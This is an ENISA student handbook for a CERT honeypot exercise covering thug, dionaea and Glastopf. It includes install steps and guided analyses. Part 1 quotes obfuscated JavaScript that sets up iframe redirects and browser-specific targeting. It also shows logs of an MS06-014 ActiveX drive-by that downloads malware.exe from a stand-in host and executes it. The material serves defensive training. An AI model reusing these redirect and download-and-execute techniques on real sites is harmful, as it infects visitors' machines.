enisa
European Network and Information Security Agency

# *Honeypots CERT Exercise Toolset*

*Document for students*

*[Deliverable – 2012-10-07]*

## Contributors to this report

The report production was commissioned to CERT Polska (NASK).

Authors: Tomasz Grudziecki, Łukasz Juszczyk, Piotr Kijewski (CERT Polska/NASK)

Contributors: Katarzyna Gorzelak and Przemysław Jaroszewski (CERT Polska/NASK)

Editors/Testers: Piotr Kijewski (CERT Polska/NASK), Cosmin Ciobanu (ENISA), Romain Bourgue (ENISA), Andreas Sfakianakis (ENISA)

## Acknowledgements

ENISA wants to thank all institutions and persons who contributed to this document. A special

“Thank You” goes to the following contributors:

- Kara Nance (University of Alaska)
- Angelo Dell’Aera (Honeynet Project)
- Lukas Rist (Honeynet Project)

## About ENISA

The European Network and Information Security Agency (ENISA) is a centre of network and information security expertise for the EU, its Member States, the private sector and Europe's citizens. ENISA works with these groups to develop advice and recommendations on good practice in information security. It assists EU Member States in implementing relevant EU legislation and works to improve the resilience of Europe's critical information infrastructure and networks. ENISA seeks to enhance existing expertise in EU Member States by supporting the development of cross-border communities committed to improving network and information security throughout the EU. More information about ENISA and its work can be found at www.enisa.europa.eu

Follow us on Facebook Twitter LinkedIn Youtube & RSS feeds

## Contact details

For contacting ENISA or for general enquiries on CERT-related information, please use the following details: opsec@enisa.europa.eu

Internet: http://www.enisa.europa.eu

## Contents

# 1 Exercise: Honeypots

## 1.1 What Will You Learn?

The objective of the Honeypots Exercise is to familiarise you with two kinds of honeypots: server-side honeypots and client-side honeypots. In particular you will:

- Learn how to install and configure three honeypots (*thug*[1], *dionaea*[2] and *Glastopf*[3]);
- Learn how to use them to analyse security threats;
- Learn about client-side attacks that spread using web browser vulnerabilities; and
- Learn about server-side threats like worm outbreaks and web application remote attacks.

## 1.2 Exercise Tasks

The exercise is divided into two different PARTS and three scenarios. At the start of the exercise, you will be given a brief introduction to the field of honeypot technology, and client-side and server-side threats. The exercise is structured as follows:

- PART 1: Client-side honeypot – a web-based attack exploiting a browser;
  - Scenario: you are conducting an investigation of an incident report about malicious behaviour of a website.
- PART 2: Server-side honeypot – an active attack targeting server services:
  - Scenario 1: you are conducting an investigation of an incident report about a new worm spreading in a LAN,
  - Scenario 2: you are conducting investigation of an incident report about a new attack targeting a web application running on your web server.

## 1.3 Honeypot Exercise Virtual Image

A *Honeypot Exercise Virtual Image* is required to conduct the exercise. It will provide you with all materials needed to carry out this exercise. The teacher will give you the image. Note: you do not need any password to use this image.

## 1.4 PART 1 Client-side honeypot (investigation of a malicious website)

The first part of the exercise is divided into three separate tasks:

1. deployment of the client-side honeypot,
2. an introductory step-by-step analysis of a website,

---

[1] https://github.com/buffer/thug

[2] http://dionaea.carnivore.it

[3] http://glastopf.org

3. an analysis of a another website reported as malicious.

Please follow the teacher's instructions.

### 1.4.1 Task 1 – deployment of the honeypot

*Using the following installation process description and teacher's instructions, please install and configure* the ***thug*** *client-side low-interaction honeypot.*

*Thug* is a low-interaction client honeypot focused on the detection of malicious web pages. It emulates the behaviour of a typical web browser. The tool uses the Google *V8* JavaScript engine and implements its own Document Object Model (DOM). *Thug* is written in Python and made available under the GNU General Public License.

Your first task is the deployment of the tool. All required files are pre-loaded and supplied on the *Honeypot Exercise Virtual Image* – the installation process does not require an Internet connection. Some dependencies are already installed to meet the requirements. However, if you wish to read the full installation steps list, these are described in http://buffer.github.com/thug/doc/build.html. All steps described in this document installation are derived from *thug's* documentation (see the URL above).

All needed repositories are cloned into the `/opt/` directory:

```
/opt/libemu
/opt/pylibemu
/opt/pyv8
/opt/thug
/opt/v8
```

**STEP 1**: Installation of the Google *V8/PyV8*

Google *V8* is Google's open source JavaScript engine. As of August 2012 the *V8* source code needs to be patched in order to properly work with *thug*.

```
$ cd /opt
/opt $ cp thug/patches/V8-patch* .
/opt $ patch -p0 < V8-patch1.diff
patching file v8/src/log.h
/opt $ patch -p0 < V8-patch2.diff
```

*PyV8* is a Python wrapper for the Google *V8* engine. In order to install *PyV8* perform the following steps:

```
/opt $ export V8_HOME=/opt/v8
/opt $ cd pyv8
/opt/pyv8 $ python setup.py build
/opt/pyv8 $ sudo python setup.py install
```

Testing the installation:

```
/opt/pyv8 $ python PyV8.py
```

If no problems occur, *V8* and *PyV8* have been installed properly.

**STEP 2**: Installation of libemu:

*Libemu* is a small library written in C that provides basic x86 emulation and shellcode detection using GetPC heuristics. More information about *libemu* can be found on the project webpage: http://libemu.carnivore.it/. In order to install *libemu* please follow these steps:

```
$ cd /opt/libemu
/opt/libemu $ autoreconf -v -i
/opt/libemu $ ./configure --prefix=/usr
/opt/libemu $ sudo make install
```

**STEP 3**: Installation of Pylibemu

*Pylibemu* is a Cython (C-Extensions for Python) wrapper for the *libemu* library. It is written by the author of *thug*. More information about *pylibemu* can be found on the project webpage: https://github.com/buffer/pylibemu. In order to install *pylibemu* please follow these steps (or listen to the teacher's alternative instructions):

```
$ cd /opt/pylibemu/
/opt/pylibemu $ python setup.py build
/opt/pylibemu $ sudo python setup.py install
```

### 1.4.2 Task 2 – Introduction – step-by-step demonstration using a sample URL

*In this task, you will be lead through a step-by-step analysis of a malicious web page using **thug**. Listen carefully and observe the teacher's actions and explanations. You are encouraged to participate actively in discussions and interact with the teacher and other students.*

To begin, please start the Apache server:

```
$ sudo /etc/init.d/apache2 start
```

**STEP 1:**

The usage of *thug* and its main options are described in *thug's* help. Please use the following commands:

```
$ cd /opt/thug/src/
$ python thug.py --help
```

Next, open the Icedove e-mail client and read the incident report number 001. The report contains a URL with a potentially malicious content.

**STEP 2:**

To investigate the suspicious URL (from the incident report) use *thug* in the following manner:

```
$ cd /opt/thug/src/
$ python thug.py http://example.xmpl/ex1.html
[2012-07-27 16:26:54] [HTTP] URL: http://example.xmpl/ex1.html (Status: 200, Referrer:
None)
[2012-07-27 16:26:54] <iframe src="http://example.xmpl/ex2.html"></iframe>
```

```
1  [2012-07-27 16:26:54] [iframe redirection] http://example.xmpl/ex1.html ->
   http://example.xmpl/ex2.html
   [2012-07-27 16:26:54] [HTTP] URL: http://example.xmpl/ex2.html (Status: 200, Referrer:
   http://example.xmpl/ex1.html)
   [2012-07-27 16:26:54] [HTTP] URL: http://example.xmpl/ex2.html (Status: 200, Referrer:
   http://example.xmpl/ex2.html)
   [2012-07-27 16:26:55] <iframe src="http://example.xmpl/ex3.html"></iframe>
2  [2012-07-27 16:26:55] [iframe redirection] http://example.xmpl/ex2.html ->
   http://example.xmpl/ex3.html
   [2012-07-27 16:26:55] [HTTP] URL: http://example.xmpl/ex3.html (Status: 200, Referrer:
   http://example.xmpl/ex2.html)
   [2012-07-27 16:26:55] [HTTP] URL: http://example.xmpl/ex3.html (Status: 200, Referrer:
   http://example.xmpl/ex3.html)
3  [2012-07-27 16:26:55] [Window] Alert Text: you are using Internet Explorer not 7
   [2012-07-27 16:26:55] Saving log analysis at
   ../logs/edafe606e244823362675990fe56b5f1/20120727162653
```

The most important results were marked in red (note that this is from standard output, but it could be logged to a file using the '-o' or '--output=' option). The step-by-step attack description is:

1. There is an 'iframe' on the first page (`http://example.xmpl/ex1.html`) that redirects to `http://example.xmpl/ex2.html`.
2. On the next page (`ex2.html`), another 'iframe' redirects to `http://example.xmpl/ex3.html`.
3. On the '`ex3.html`' page, a text alert occurs: 'you are using Internet Explorer not 7'.

**STEP 3:**

Please follow the instructions presented by the teacher in order to display additional details about the content of the web sites and JavaScripts. In particular you should obtain the following results:

**Ad.1** The first 'iframe' has been generated by obfuscated JavaScript (more information about obfuscation in JS can be found here: http://www.honeynet.org/node/187). The page's full content was:

```
<html>
Some legitimate content here
<script>
//suspicious JS
var
_0xd02b=["\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x
2F\x65\x78\x61\x6D\x70\x6C\x65\x2E\x78\x6D\x70\x6C\x2F\x65\x78\x32\x2E\x68\x74\x6D\x6C\x
22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E","\x77\x72\x69\x74\x65"];document[_0xd02b[1]]
(_0xd02b[0]);
</script>
</html>
```

**Ad.2** The second 'iframe' has also been generated by JavaScript (not obfuscated). The page's full content was:

```
<html>
<script>
//suspicious JS
if (/MSIE (\d+\.\d+);/.test(navigator.userAgent)){
 var ieversion=new Number(RegExp.$1)
```

```
 if (ieversion==7)
  document.write("<iframe src=\"http://example.xmpl/malicious.html\"></iframe>");
 else
  document.write("<iframe src=\"http://example.xmpl/ex3.html\"></iframe>");
}
else
 document.write("<iframe src=\"http://example.xmpl/ex4.html\"></iframe>");
</script>
</html>
```

Discuss the behaviour of the above JavaScript functions.

**Ad.3** On the last page, an alert was generated by a heavily obfuscated piece of JavaScript. The page's full content was:

```
<html>
<script>
//suspicious JS
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:
($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$_
__:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)
+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$
.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$(
$.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.$$
$+$.__$+$._$+$._+"\\"+$.$__+$.___+$.$_$_+"\\"+$.__$+$.$$_+$._$_+$.$$$_+"\\"+$.$__+$.___+
$._+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$_
_+$.$$$+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\\"+
$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.$$_+$.$$$_+$.__+"\\"+$.___+"\\"+$.__$+$.___+$
.$_$+"\\"+$.__$+$.$$$+$.___+"\\"+$.__$+$.$$_+$.___+(![]+"")[$._$_]+$._$+"\\"+$.__$+$.$$_
+$._$_+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.$__+$.___+"\\"+$.__$+$.$_$+$.$$_+$._$+$.__+"
\\"+$.$__+$.___+$.$$$+"\\\"\\"+$.$__+$.___+");"+"\"")()();
</script>
</html>
```

According to *thug's* analysis this JavaScript displays an alert 'you are using Internet Explorer not 7'. The overall analysis result is: the URL `http://example.xmpl/ex1.html` is not malicious, but it could be described as suspicious (due to redirects in iframes and obfuscated JavaScripts). Note that *thug* uses Internet Explorer 6.1 (Windows XP) as a default personality (user agent). In regard to the STEP 2 Ad.2 analysis, the second JavaScript should generate different content depending on the browser type.

The next step should be to repeat the whole analysis using Internet Explorer 7 (IE7) as a user agent. If the JavaScript is not readable (for example obfuscated), you should perform an analysis using **all** available *thug* personalities (user agents).

**STEP 4:**

To run *thug* with IE7 personality, use the '-u winxpie70' option:

```
$ python thug.py -u winxpie70 http://example.xmpl/ex1.html
[2012-07-27 17:35:56] [HTTP] URL: http://example.xmpl/ex1.html (Status: 200, Referrer:
None)
[2012-07-27 17:35:57] <iframe src="http://example.xmpl/ex2.html"></iframe>
http://example.xmpl/ex2.html
[2012-07-27 17:35:57] [HTTP] URL: http://example.xmpl/ex2.html (Status: 200, Referrer:
http://example.xmpl/ex1.html)
[2012-07-27 17:35:57] [HTTP] URL: http://example.xmpl/ex2.html (Status: 200, Referrer:
http://example.xmpl/ex2.html)
[2012-07-27 17:35:57] <iframe src="http://example.xmpl/malicious.html"></iframe>
[2012-07-27 17:35:57] [iframe redirection] http://example.xmpl/ex2.html ->
http://example.xmpl/malicious.html
```

1

2

```
[2012-07-27 17:35:57] [HTTP] URL: http://example.xmpl/malicious.html (Status: 200,
Referrer: http://example.xmpl/ex2.html)
[2012-07-27 17:35:57] [HTTP] URL: http://example.xmpl/malicious.html (Status: 200,
Referrer: http://example.xmpl/malicious.html)
[2012-07-27 17:35:58] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject
(msxml2.XMLHTTP)
[2012-07-27 17:35:58] ActiveXObject: msxml2.xmlhttp
[2012-07-27 17:35:58] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (ADODB.Stream)
[2012-07-27 17:35:58] ActiveXObject: adodb.stream
[2012-07-27 17:35:58] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject
(WScript.Shell)
[2012-07-27 17:35:58] ActiveXObject: wscript.shell
[2012-07-27 17:35:58] [Microsoft XMLHTTP ActiveX] Fetching from URL
http://example.xmpl/malware.exe
[2012-07-27 17:35:58] [HTTP] URL: http://example.xmpl/malware.exe (Status: 200,
Referrer: http://example.xmpl/malicious.html)
[2012-07-27 17:35:58] [Microsoft XMLHTTP ActiveX] Saving File:
69630e4574ec6798239b091cda43dca0
[2012-07-27 17:35:58] [Microsoft XMLHTTP ActiveX] send
[2012-07-27 17:35:58] [Adodb.Stream ActiveX] open
[2012-07-27 17:35:58] [Adodb.Stream ActiveX] Write
[2012-07-27 17:35:58] [Adodb.Stream ActiveX] SaveToFile (c:\sysbmqa.exe)
[2012-07-27 17:35:58] [Adodb.Stream ActiveX] Close
[2012-07-27 17:35:58] [WScript.Shell ActiveX] Executing: c:\sysbmqa.exe
[2012-07-27 17:35:58] Saving log analysis at
../logs/edafe606e244823362675990fe56b5f1/20120727173556
```

3

4

The most important entries were marked in red (note that this is from standard output, but it could be logged into a file using '-o' or '--output=' option). The step-by-step description is:

1 There is an 'iframe' on the first page (`http://example.xmpl/ex1.html`) that redirects to `http://example.xmpl/ex2.html`.

2 On the next page (ex2.html), another 'iframe' redirects to `http://example.xmpl/malicious.html`.

3 On the 'malicious.html' page, an ActiveX object is created.

4 The ActiveX object uses some functions (msxml2.xmlhttp, adodb.stream, wscript.shell) to fetch a file (probably a windows executable) from `http://example.xmpl/malware.exe` and writes it to `c:\sysbmqa.exe`..

**STEP 5:**

Follow the instructions presented by the teacher in order to display more details about content of the web sites and JavaScripts. In particular you should be able to obtain the following results:

**Ad.1** Similar to **STEP 3, Ad. 1**.

**Ad.2** This is the same JavaScript, but its behaviour is different: the script generated a different iframe than in the first case:

```
<html>
<script>
//suspicious JS
if (/MSIE (\d+\.\d+);/.test(navigator.userAgent)){
```

```
 var ieversion=new Number(RegExp.$1)
 if (ieversion==7)
  document.write("<iframe src=\"http://example.xmpl/malicious.html\"></iframe>");
 else
  document.write("<iframe src=\"http://example.xmpl/ex3.html\"></iframe>");
}
else
 document.write("<iframe src=\"http://example.xmpl/ex4.html\"></iframe>");
</script>
</html>
```

**Ad.3** On the next page (`http://example.xmpl/malicious.html`) there is an ActiveX exploit in JavaScript (see *thug's* log file) that exploits a vulnerability in Internet Explorer (MS06-014[4]; CVE-2006-0003) in order to fetch a file from `http://example.xmpl/malware.exe` and execute it. The exploit can be analysed using external tools or services (for example: VirusTotal[5] or Wepawet[6]). Additional analyses are not a part of this exercise as they extend beyond the honeypot objective.

**Ad.4** The file (`http://example.xmpl/malware.exe`) can be analysed using external tools or services (for example: VirusTotal). Additional analyses are not a part of this exercise. This file is an EICAR test signature – a file that should be marked as malicious for testing purposes by all antivirus engines.

The overall analysis result is: the URL `http://example.xmpl/ex1.html` is malicious when a victim uses the Internet Explorer 7.0 web browser.

**STEP 6:**

You can perform analyses using all of the available *thug* browser personalities. All other Internet Explorer personalities will generate the same result as in the first case. When using a user agent different than Internet Explorer, the behaviour will be also similar to the first case, apart from the last redirection and the last web page:

```
$ python thug.py -u winxpchrome20 http://example.xmpl/ex1.html
[2012-07-27 18:23:35] [HTTP] URL: http://example.xmpl/ex1.html (Status: 200, Referrer:
None)
[2012-07-27 18:23:36] <iframe src="http://example.xmpl/ex2.html"></iframe>
[2012-07-27 18:23:36] [iframe redirection] http://example.xmpl/ex1.html ->
http://example.xmpl/ex2.html
[2012-07-27 18:23:36] [HTTP] URL: http://example.xmpl/ex2.html (Status: 200, Referrer:
http://example.xmpl/ex1.html)
[2012-07-27 18:23:36] [HTTP] URL: http://example.xmpl/ex2.html (Status: 200, Referrer:
http://example.xmpl/ex2.html)
[2012-07-27 18:23:37] <iframe src="http://example.xmpl/ex4.html"></iframe>
[2012-07-27 18:23:37] [iframe redirection] http://example.xmpl/ex2.html ->
http://example.xmpl/ex4.html
[2012-07-27 18:23:37] [HTTP] URL: http://example.xmpl/ex4.html (Status: 200, Referrer:
http://example.xmpl/ex2.html)
[2012-07-27 18:23:37] [HTTP] URL: http://example.xmpl/ex4.html (Status: 200, Referrer:
http://example.xmpl/ex4.html)
```

1

2

3

[4] http://technet.microsoft.com/en-us/security/bulletin/ms06-014

[5] http://www.virustotal.com

[6] http://www.wepawet.iseclab.org

```
[2012-07-27 18:23:37] [Window] Alert Text: you are not using Internet Explorer
[2012-07-27 18:23:37] Saving log analysis at
../logs/edafe606e244823362675990fe56b5f1/20120727182335
```

The most important entries were marked in red (note that this is from standard output, but it could be logged to a file using '-o' or '--output=' option). The step-by-step description is:

1 There is an 'iframe' on the first page (`http://example.xmpl/ex1.html`) that redirects on `http://example.xmpl/ex2.html`.

2 On the next page (`ex2.html`) another 'iframe' redirects on `http://example.xmpl/ex4.html`.

3 On the '`ex4.html`' page, a text alert occurs: 'you are not using Internet Explorer'.

**STEP 7:**

In the same manner as in STEP 3 and STEP 5, please follow the instructions presented by the teacher in order to display more details about the content of the web sites and JavaScript. In particular you should be able to obtain the following results when going through steps described above:

**Ad.1** Similar to **STEP 3, Ad. 1** and **STEP 5, Ad. 1**.

**Ad.2** This is the same JavaScript, but its behaviour is different: the script has generated a different iframe than in the first and second case:

```
<html>
<script>
//suspicious JS
if (/MSIE (\d+\.\d+);/.test(navigator.userAgent)){
 var ieversion=new Number(RegExp.$1)
 if (ieversion==7)
  document.write("<iframe src=\"http://example.xmpl/malicious.html\"></iframe>");
 else
  document.write("<iframe src=\"http://example.xmpl/ex3.html\"></iframe>");
}
else
 document.write("<iframe src=\"http://example.xmpl/ex4.html\"></iframe>");
</script>
</html>
```

**Ad.3** On the last page an alert was generated by a heavily obfuscated piece of JavaScript:

```
<html>
<script>
//suspicious JS
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:
($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$_
__:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)
+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$
.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$(
$.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.$$
$+$.__$+$._$+$._+"\\"+$.$__+$.___+$.$_$_+"\\"+$.__$+$.$$_+$._$_+$.$$$_+"\\"+$.$__+$.___+
"\\"+$.__$+$.$_$+$.$$_+$._$+$.__+"\\"+$.$__+$.___+$._+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+
$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$__+$.$$$+"\\"+$.$__+$.___+"\\"+$.__$+$.
__$+$.__$+"\\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.$
$_+$.$$$_+$.__+"\\"+$.$__+$.___+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$.$$$+$.___+"\\"+$.__$
+$.$$_+$.___+(![]+"")[$._$_]+$._$+"\\"+$.__$+$.$$_+$._$_+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"
\\\"\\"+$.$__+$.___+");"+"\"")())();
```

```
</script>
</html>
```

The overall analysis result is: the URL `http://example.xmpl/ex1.html` is not malicious when a victim uses a browser other than Internet Explorer.

### 1.4.3 Task 2 - Assessment

*Please follow the teacher's instructions and answer the following questions in detail:*

a. *Is the web site malicious or not?*
b. *How was the attack carried out? Describe step by step (could be presented as a flow diagram).*
c. *What domain names and IP addresses are involved in the attack?*
d. *Which browsers are targeted?*
e. *Which vulnerabilities are exploited and how?*
f. *How could we mitigate the attack?*

Together with the teacher, try to reconstruct the attack with a flow diagram. The teacher will show you how.

### 1.4.4 Task 3 – Analysis of a second URL described in an incident report

*Using the tools and knowledge acquired in the previous tasks, analyse the web site reported as malicious in the incident report no. 002 (in the e-mail inbox of the Honeypot Exercise Virtual Image).*

Listen to the teacher's instructions on how to carry out the exercise.

### 1.4.5 Task 3 - Assessment

*Answer the following questions about the malicious URL report:*

a. *Is the web site malicious or not?*
b. *How was the attack carried out? Describe step by step (could be presented as a flow diagram).*
c. *What domain names and IP addresses are involved in the attack?*
d. *Which browsers are targeted?*
e. *Which vulnerabilities are exploited and how?*
f. *How could we mitigate the attack?*

Once PART 1 of the exercise is over, please stop the Apache server:

```
$ sudo /etc/init.d/apache2 stop
```

## 1.5 PART 2 Server-side honeypot: Scenario 1 (investigation of a worm in a LAN)

The aim of PART 2 Scenario 1 of the exercise is to gain familiarity with a honeypot that can detect a worm outbreak in your network environment. This part of the exercise is divided into three separate tasks:

1. deployment of the server-side honeypot,
2. an introductory step-by-step analysis of an attack,
3. an analysis of another attack detected by the honeypot.

In this scenario the *dionaea* honeypot is going to be used. Listen carefully to the teacher's instructions.

### 1.5.1 Task 1 - Deployment of the honeypot

*Using the installation process description and teacher's instructions, install and configure the **dionaea** server-side low-interaction honeypot.*

*Dionaea*, the *Nepenthes* successor, is a low-interaction honeypot. The main purpose of the honeypot is to collect malware. It a features modular architecture, embedding python as scripting language in order to emulate protocols. It is able to detect shellcodes using *libemu*[7] and supports IPv6 and TLS. *Dionaea* runs in a restricted environment without administrative privileges.

The first task is to install the honeypot. All required files are already pre-loaded and supplied on the *Honeypot Exercise Virtual Image*. Most of the software packages are already installed. The installation process described in this document can be found on the *dionaea* website[8].

*Dionaea's* source code is located in the `/opt` directory. The following steps walk you through the compilation process:

First, install the software packages:

*Cython*:

```
$ cd /opt/Cython-0.16
$ sudo python3.2 setup.py install
```

*liblcfg*:

```
$ cd /opt/liblcfg/code
$ autoreconf -vi
$ ./configure --prefix=/opt/dionaea
$ make install
```

[7] http://libemu.carnivore.it/

[8] http://dionaea.carnivore.it/#compiling

*libemu*:

```
$ cd /opt/libemu
$ autoreconf -vi
$ ./configure --prefix=/opt/dionaea
$ sudo make install
```

Second, install *dionaea* itself. Its source code is located in the `/opt` directory. The honeypot can be compiled using the following commands:

```
$ cd /opt/dionaea
$ autoreconf -vi
$ ./configure --with-lcfg-include=/opt/dionaea/include/ \
      --with-lcfg-lib=/opt/dionaea/lib/ \
      --with-emu-include=/opt/dionaea/include/ \
      --with-emu-lib=/opt/dionaea/lib

$ make
$ sudo make install
```

### 1.5.2 Task 2 – Introduction – a step-by-step analysis

*In this task, you will be led through a step-by-step investigation of a worm outbreak using **dionaea**. Listen and carefully observe the teacher's actions and explanations. You are encouraged to participate actively in discussions and interact with the teacher and other students.*

**STEP 1:**

Listen and follow the teacher's instructions to learn about *dionaea's* configuration and modules. The configuration file is located at `/opt/dionaea/etc/dionaea/dionaea.conf`.

Next, follow the teacher's instructions and listen to a description of its startup options. These can be displayed using the -h flag:

```
$ /opt/dionaea/bin/dionaea -h
```

**STEP 2**

Follow the teacher's instructions to learn how to run the *dionaea* honeypot, e.g.:

```
$ sudo /opt/dionaea/bin/dionaea -r /opt/dionaea
```

**STEP 3**

Listen carefully to the teacher's instructions. If she or he does not say otherwise, run the attack simulation:

```
$ /opt/exercises/exercise2.1
```

Please do not run the script in a non-isolated network!

*Note:* The teacher can run the attack from her or his own virtual machine – in this case do not run the attack simulation described above.

**STEP 4**

Check the log file (`/opt/dionaea/var/log/dioanea.log`) for incoming connections and look for possible attack indicators:

```
(…)
 [17082012 13:06:45] connection connection.c:4337-message: connection 0x945d000
accept/udp/established [127.0.0.1:5060->127.0.1.1:5066] state: established->established
[17082012 13:06:45] logsql dionaea/logsql.py:618-info: connect connection to 127.0.1.1/:5066
from 127.0.0.1:5060 (id=396)
[17082012 13:06:45] sip dionaea/sip/__init__.py:649-info: Received: OPTIONS
[17082012 13:06:45] sip dionaea/sip/rfc3261.py:463-info: Creating Response: code=200,
message=None
(…)
```

In the above listing, the main fragments of the attack are marked in red.

In this case, the attacker used a SIP scanner to determine, which SIP methods are provided. Since this type of scanning is using the OPTIONS method, it is called *SIP OPTIONS scanning*.

**STEP 5**

Use the following provided `readlogsqltree` script to display attacks from the last day. The script queries the logsql sqlite database for attacks, and prints out all related information for every attack.

The tool provides information about the exploited vulnerability, the time, the attacker, information about the shellcode, and the file offered for download (if any).

```
$ python3.2 /opt/dionaea/bin/readlogsqltree -t $(date '+%s')-24*3600
/opt/dionaea/var/dionaea/logsql.sqlite
2012-08-17 13:06:45
  connection 396 SipSession udp connect 127.0.0.1:5060 -> /127.0.1.1:5066 (396 None)
   Method:OPTIONS
   Call-ID:3883276957@127.0.0.1
   User-Agent:HjtMN0
     addr: <> 'sip:nobody@127.0.0.1:None'
     to: <> 'sip:nobody@127.0.0.1:None'
     contact: <> 'sip:nobody@127.0.0.1:None'
     from: <> 'sip:HjtMN0@127.0.0.1:5066'
     via:'UDP/127.0.0.1:5066
```

### 1.5.3 Task 2 - Assessment

*Please follow the teacher's instructions and answer the following questions in detail:*

a. *What vulnerability is being targeted?*
b. *What is the source of the attack?*
c. *Were there any files sent by an attacker? If so, describe them.*
d. *How could the attack be mitigated?*

### 1.5.4 Task 3 – Analysis of a second attack

*Using the tools and knowledge acquired in the previous tasks, analyse the network traffic reaching your honeypot.*

Listen carefully to the teacher's instructions on how to run the second attack simulation.

### 1.5.5 Task 3 - Assessment

*Answer the following questions in detail:*

a. *What vulnerability is being targeted?*
b. *What is the source of the attack?*
c. *Were there any files sent by an attacker? If so, describe them.*
d. *How could the attack be mitigated?*

## 1.6 PART 2 Server-side honeypot: Scenario 2 (investigation of a remote attack targeting a web application)

The aim of the PART 2 Scenario 2 of the exercise is to familiarise you with a honeypot that can detect an attack on a web application running on your web server. This part of the exercise is divided into three separate tasks:

1. deployment of the server-side honeypot,
2. a step-by-step introduction of an attack against a web application,
3. an analysis of another attack detected by the honeypot.

In this scenario, the *Glastopf* honeypot is going to be used. Listen to the teacher's instructions.

### 1.6.1 Task 1 – Deployment of the honeypot

*Using the following installation process description and teacher's instructions, please install and configure the **Glastopf** server-side low-interaction honeypot.*

In this part of the exercise the ***Glastopf*** honeypot is going to be used. *Glastopf* is a honeypot which emulates thousands of vulnerabilities to gather data from attacks targeting web applications. The principle behind it is very simple: return an expected response to the attacker exploiting the web application. The project's website is at http://glastopf.org/.

The first task is to install the honeypot. All required files are already downloaded on the *Honeypot Exercise Virtual Machine* image. All software dependencies are already installed. The installation process described in this document can be found on the *Glastopf* website (http://dev.glastopf.org/projects/glaspot/wiki/Installation).

*Glastopf's* source code is located in the `/opt` directory. The honeypot itself is a Python script, which does not need to be installed, but one has to install an event module and APD (PHP profiler/debugger).

First, install a Python's evnet module:

```
$ cd /opt/evnet
$ sudo python2.7 setup.py install
```

Next, install and configure APD[9]:

```
$ cd /opt/apd/
$ phpize
$ ./configure
$ make
$ sudo make install
```

Add the following lines to `/etc/php5/cli/php.ini` file as a superuser:

```
zend_extension = /usr/lib/php5/20090626+lfs/apd.so
apd.dumpdir = /tmp/apd
apd.statement_tracing = 0
```

Finally, install *Glastopf's* sandbox:

```
$ cd /opt/glaspot/trunk/sandbox/
$ make
```

*Glastopf* should now be ready for operation.

### 1.6.2 Task 2 – introduction – a step-by-step analysis

*In this task, you will be led through a step-by-step investigation of an attack on a web application. The **Glastopf** honeypot will be used. Listen and observe carefully the teacher's steps and explanations. Take active participation in discussions and interact with the teacher and other students.*

**STEP 1**

Listen and follow the teacher's instructions to learn about *Glastopf's* operating principles and configuration. The configuration file is located at `/opt/glastopf/trunk/glastopf.cfg`. Attention should be paid to the listening IP address and port number. In order to complete the exercises, the port number has to be changed to 80.

[9] *APD can be replaced by BFR, available from https://github.com/glaslos/BFR*

Before running *Glastopf*, make sure that there is no other service bound to port 80 tcp. If you performed the previous exercises described in this Toolset material, either *Apache* or *dionaea* process may still be using this port. In such a case, please stop the appropriate application before continuing. You can check if any services are listening on port 80 tcp with the following command:

```
$ sudo netstat -nltp |grep ":80 "
```

*Note:* during the exercises it is recommended to turn off *hpfeeds*. You can disable this functionality in the *Glastopf's* configuration file (located at `/opt/glaspot/trunk/glastopf.cfg`):

```
[hpfeed]
enabled = False
```

**STEP 2**

Follow the teacher's instructions to learn how to run the *Glastopf* honeypot, e.g.:

```
$ cd /opt/glaspot/trunk
$ sudo python webserver.py
```

**STEP 3**

Listen carefully to the teacher's instructions. If she or he does not say otherwise, run the attack simulation:

```
$ /opt/exercises/exercise3.1
```

This will start the *Local File Inclusion* attack on the web application.

*Note:* The teacher can run the attack from her/his own virtual machine – in this case do not run the attack simulation described above.

**STEP 4**

Check the log file for incoming connections and look for attack indications (`/opt/glaspot/trunk/log/glastopf.log`):

```
